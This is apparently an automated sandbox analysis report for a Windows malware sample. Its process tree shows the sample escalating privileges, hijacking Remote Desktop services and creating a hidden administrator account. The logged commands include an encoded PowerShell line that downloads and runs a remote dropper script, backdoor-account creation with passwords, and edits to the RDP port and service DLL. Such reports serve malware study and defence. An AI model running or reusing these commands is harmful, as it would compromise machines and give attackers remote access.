Analysis

  • max time kernel
    130s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    13/11/2020, 16:09

General

  • Target
    261603776412fc9028feb04ba71a42c5d6bd99c0e4fbb4610d19e6d649dba700.exe
  • Size 3.5MB
  • Sample201113-917ysv92pn
  • SHA256 261603776412fc9028feb04ba71a42c5d6bd99c0e4fbb4610d19e6d649dba700
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blacklisted process makes network request 10 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Modifies service 2 TTPs 2 IoCs
  • Drops file in Windows directory 41 IoCs
  • Modifies data under HKEY_USERS 60 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of WriteProcessMemory 133 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\261603776412fc9028feb04ba71a42c5d6bd99c0e4fbb4610d19e6d649dba700.exe
    "C:\Users\Admin\AppData\Local\Temp\261603776412fc9028feb04ba71a42c5d6bd99c0e4fbb4610d19e6d649dba700.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:240
    • \??\c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe
      -ep bypass -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
      2⤵
      • Deletes itself
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1332
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cabxne41\cabxne41.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1292
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES53AC.tmp" "c:\Users\Admin\AppData\Local\Temp\cabxne41\CSC265ED2784C724D88815CC6708114758.TMP"
          4⤵
            PID:1708
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1028
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1464
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:2028
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:688
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1504
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1600
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1596
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1704
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1104
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies service
            • Modifies registry key
            PID:1216
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1376
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1992
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1136
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1688
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1592
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:288
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:276
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                    PID:268
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      4⤵
                        PID:472
                        • C:\Windows\system32\net.exe
                          net start TermService
                          5⤵
                            PID:1476
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 start TermService
                              6⤵
                                PID:568
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                          3⤵
                            PID:564
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                            3⤵
                              PID:1604
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe user wgautilacc Ghar4f5 /del
                          1⤵
                            PID:564
                            • C:\Windows\system32\net.exe
                              net.exe user wgautilacc Ghar4f5 /del
                              2⤵
                                PID:672
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                  3⤵
                                    PID:688
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc K5HiSQtI /add
                                1⤵
                                  PID:1312
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc K5HiSQtI /add
                                    2⤵
                                      PID:1316
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc K5HiSQtI /add
                                        3⤵
                                          PID:1596
                                    • C:\Windows\System32\cmd.exe
                                      cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                      1⤵
                                        PID:1104
                                        • C:\Windows\system32\net.exe
                                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                          2⤵
                                            PID:1376
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                              3⤵
                                                PID:876
                                          • C:\Windows\System32\cmd.exe
                                            cmd /C net.exe LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
                                            1⤵
                                              PID:952
                                              • C:\Windows\system32\net.exe
                                                net.exe LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
                                                2⤵
                                                  PID:1844
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
                                                    3⤵
                                                      PID:1992
                                                • C:\Windows\System32\cmd.exe
                                                  cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                  1⤵
                                                    PID:1644
                                                    • C:\Windows\system32\net.exe
                                                      net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                      2⤵
                                                        PID:1564
                                                        • C:\Windows\system32\net1.exe
                                                          C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                          3⤵
                                                            PID:1688
                                                      • C:\Windows\System32\cmd.exe
                                                        cmd /C net.exe user wgautilacc K5HiSQtI
                                                        1⤵
                                                          PID:1552
                                                          • C:\Windows\system32\net.exe
                                                            net.exe user wgautilacc K5HiSQtI
                                                            2⤵
                                                              PID:672
                                                              • C:\Windows\system32\net1.exe
                                                                C:\Windows\system32\net1 user wgautilacc K5HiSQtI
                                                                3⤵
                                                                  PID:1860
                                                            • C:\Windows\System32\cmd.exe
                                                              cmd.exe /C wmic path win32_VideoController get name
                                                              1⤵
                                                                PID:1200
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic path win32_VideoController get name
                                                                  2⤵
                                                                  • Modifies data under HKEY_USERS
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:1596
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic CPU get NAME
                                                                1⤵
                                                                  PID:1376
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic CPU get NAME
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:284
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                  1⤵
                                                                    PID:1920
                                                                    • C:\Windows\system32\cmd.exe
                                                                      cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                      2⤵
                                                                        PID:276
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          3⤵
                                                                          • Blacklisted process makes network request
                                                                          • Drops file in Windows directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:1116
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C net user wgautilacc 1234
                                                                      1⤵
                                                                        PID:564
                                                                        • C:\Windows\system32\net.exe
                                                                          net user wgautilacc 1234
                                                                          2⤵
                                                                            PID:1064
                                                                            • C:\Windows\system32\net1.exe
                                                                              C:\Windows\system32\net1 user wgautilacc 1234
                                                                              3⤵
                                                                                PID:1288

                                                                          Network

                                                                                MITRE ATT&CK Enterprise v6

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                memory/240-0-0x00000000022F0000-0x000000000262D000-memory.dmp

                                                                                memory/240-1-0x0000000002630000-0x0000000002641000-memory.dmp

                                                                                memory/1116-96-0x0000000001160000-0x0000000001161000-memory.dmp

                                                                                memory/1116-113-0x00000000011C0000-0x00000000011C1000-memory.dmp

                                                                                memory/1116-97-0x00000000010D0000-0x00000000010D1000-memory.dmp

                                                                                memory/1116-105-0x0000000001170000-0x0000000001171000-memory.dmp

                                                                                memory/1116-114-0x000000001A280000-0x000000001A281000-memory.dmp

                                                                                memory/1116-98-0x0000000001180000-0x0000000001181000-memory.dmp

                                                                                memory/1116-95-0x00000000010C0000-0x00000000010C1000-memory.dmp

                                                                                memory/1116-106-0x0000000019440000-0x0000000019441000-memory.dmp

                                                                                memory/1116-94-0x00000000010B0000-0x00000000010B1000-memory.dmp

                                                                                memory/1116-89-0x0000000001070000-0x0000000001071000-memory.dmp

                                                                                memory/1116-79-0x000007FEF53C0000-0x000007FEF5DAC000-memory.dmp

                                                                                memory/1332-9-0x000000001B540000-0x000000001B541000-memory.dmp

                                                                                memory/1332-4-0x0000000002400000-0x0000000002401000-memory.dmp

                                                                                memory/1332-17-0x0000000002490000-0x0000000002491000-memory.dmp

                                                                                memory/1332-38-0x0000000001F00000-0x0000000001F10000-memory.dmp

                                                                                memory/1332-35-0x000000001C2E0000-0x000000001C2E1000-memory.dmp

                                                                                memory/1332-18-0x0000000002760000-0x0000000002761000-memory.dmp

                                                                                memory/1332-21-0x000000001AAE0000-0x000000001AAE1000-memory.dmp

                                                                                memory/1332-5-0x000000001AC00000-0x000000001AC01000-memory.dmp

                                                                                memory/1332-3-0x000007FEF53C0000-0x000007FEF5DAC000-memory.dmp

                                                                                memory/1332-34-0x0000000001F40000-0x0000000001F41000-memory.dmp

                                                                                memory/1332-33-0x0000000001F30000-0x0000000001F31000-memory.dmp

                                                                                memory/1332-7-0x0000000002090000-0x0000000002091000-memory.dmp

                                                                                memory/1332-6-0x0000000002440000-0x0000000002441000-memory.dmp